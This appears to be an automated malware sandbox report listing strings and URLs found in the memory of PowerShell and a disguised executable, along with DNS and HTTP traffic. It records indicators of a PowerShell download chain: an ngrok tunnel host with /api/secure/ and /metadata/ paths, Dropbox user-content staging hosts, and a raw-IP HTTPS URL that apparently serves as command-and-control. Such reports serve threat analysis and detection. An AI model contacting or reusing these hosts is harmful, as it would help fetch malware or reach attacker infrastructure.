https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; base-uri 'self' ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; frame-ancestors 'self' https://.dropbox.com ; media-src https:// blob: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; img-src https://* data: blob: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: opboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; font-src https://* data: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; base-uri 'self' ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; frame-ancestors 'self' https://.dropbox.com ; media-src https:// blob: ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; img-src https://* data: blob: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: equals www.yahoo.com (Yahoo)
Source: powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; media-src https://* blob: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; base-uri 'self' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; font-src https:// data: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; img-src https://* data: blob: ; frame-ancestors 'self' https://.dropbox.com ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: 23glcrtmzxqgwfpq3oujitt.ngrok.pizza
Source: global traffic	DNS traffic detected: DNS query: www.dropbox.com
Source: global traffic	DNS traffic detected: DNS query: ucee61083117ba5147b0dbdc957e.dl.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: uc58175d1f0dd02d43497cae0960.dl.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: cfl.dropboxstatic.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: uc80703d35970dc7916212c2d7a8.dl.dropboxusercontent.com

Source: unknown

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundAccess-Control-Allow-Origin: *Content-Length: 207Content-Type: text/html; charset=utf-8Date: Thu, 19 Dec 2024 12:44:54 GMTServer: Werkzeug/3.0.3 Python/3.12.8Connection: close

Source: powershell.exe, 00000016.00000002.1711359093.0000024491F1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://23glcrtmzxqgwfpq3oujitt.ngrok.pizza
Source: powershell.exe, 00000003.00000002.1608206078.000001FB354F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://PnpDevice.Format.ps1xmlShel
Source: powershell.exe, 00000003.00000002.1607413535.000001FB3545C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: powershell.exe, 00000003.00000002.1605780706.000001FB35295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1896380216.0000000004420000.00000004.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000000.1674049177.00000000004CA000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000000.1840791583.00000000004CA000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: svchost.exe, 00000007.00000002.2553774147.0000022411200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: powershell.exe, 00000016.00000002.1711359093.000002449197C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dropbox.c
Source: powershell.exe, 00000016.00000002.1711359093.000002449197C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dropbox.com/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edge-block-www-env.dropbox-dns.com
Source: svchost.exe, 00000007.00000003.1443045936.0000022411110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1DDA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 00000003.00000002.1599898292.000001FB2D0F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1896380216.0000000004420000.00000004.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000000.1674049177.00000000004CA000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000000.1840791583.00000000004CA000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D2A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe	String found in binary or memory: http://piriform.com/go/app_cc_license_agreement
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000000.1674049177.00000000005A5000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1896380216.00000000045C1000.00000004.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://piriform.com/go/app_cc_license_agreementPA
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000000.1674049177.00000000005A5000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1896380216.00000000045C1000.00000004.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://piriform.com/go/app_cc_privacy_policy
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1896380216.0000000004420000.00000004.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000000.1674049177.00000000004CA000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000000.1840791583.00000000004CA000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1896380216.0000000004420000.00000004.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000000.1674049177.00000000004CA000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000000.1840791583.00000000004CA000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D081000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024490AD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1896380216.0000000004420000.00000004.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000000.1674049177.00000000004CA000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000000.1840791583.00000000004CA000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0f
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1896380216.0000000004420000.00000004.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000000.1674049177.00000000004CA000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000000.1840791583.00000000004CA000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1896380216.0000000004420000.00000004.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000000.1674049177.00000000004CA000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000000.1840791583.00000000004CA000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000000.1840791583.00000000004CA000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1896380216.0000000004420000.00000004.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000000.1674049177.00000000004CA000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000000.1840791583.00000000004CA000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1896380216.0000000004420000.00000004.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000000.1674049177.00000000004CA000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000000.1840791583.00000000004CA000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1896380216.0000000004420000.00000004.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000000.1674049177.00000000004CA000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000000.1840791583.00000000004CA000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://uc58175d1f0dd02d43497cae0960.dl.dropboxusercontent.com
Source: powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://uc80703d35970dc7916212c2d7a8.dl.dropboxusercontent.com
Source: powershell.exe, 00000016.00000002.1711359093.0000024491A90000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www-env.dropbox-dns.com
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D2A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000016.00000002.1711359093.0000024491A90000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.dropbox.com
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000000.1674049177.00000000005A5000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1896380216.00000000045C1000.00000004.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000002.1864629783.00000000005A5000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1896380216.0000000004420000.00000004.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000000.1674049177.00000000004CA000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000000.1840791583.00000000004CA000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000002.1896380216.0000000004420000.00000004.00001000.00020000.00000000.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001C.00000000.1674049177.00000000004CA000.00000002.00000001.01000000.00000010.sdmp, ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.exe, 0000001D.00000000.1840791583.00000000004CA000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: fontdrvhost.exe	String found in binary or memory: https://104.161.43.18:2845/7e56fc199c7194d0/g5rgxmg9.bkfop
Source: powershell.exe, 00000016.00000002.1711359093.0000024492133000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491F1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://23glcrtmzxqgwfpq3oujitt.n
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D2A7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491F1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza
Source: powershell.exe, 00000003.00000002.1566337339.000001FB1B120000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567407242.000001FB1CD30000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1566337339.000001FB1B20F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd
Source: powershell.exe, 00000003.00000002.1606620323.000001FB353C1000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567213388.000001FB1B3C0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1566337339.000001FB1B120000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567407242.000001FB1CD30000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1566337339.000001FB1B20F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/api/secure/7430a49b4ec2f1c77488485c5e23d0dd-UseBasicPars
Source: powershell.exe, 00000016.00000002.1780584119.00000244A8E50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/metad
Source: powershell.exe, 00000016.00000002.1711359093.000002449230A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/metadata/7430a49b4ec2f1c77488485c5e23d0dd
Source: powershell.exe, 00000016.00000002.1711359093.0000024490E7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://23glcrtmzxqgwfpq3oujitt.ngrok.pizza/metadata/7430a49b4ec2f1c77488485c5e23d0ddX
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://a.sprig.com/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/gsi/client
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D081000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024490A1E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024490A0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000003.00000002.1605780706.000001FB35295000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/wi
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1F030000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1ED50000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1E1D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1F00A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1F030000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1E1D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelpX
Source: powershell.exe, 00000003.00000002.1567473604.000001FB1D42E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D4AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D416000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D445000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1567473604.000001FB1D49E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.0000024491AD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917D2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1711359093.00000244917B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.login.yahoo.com/
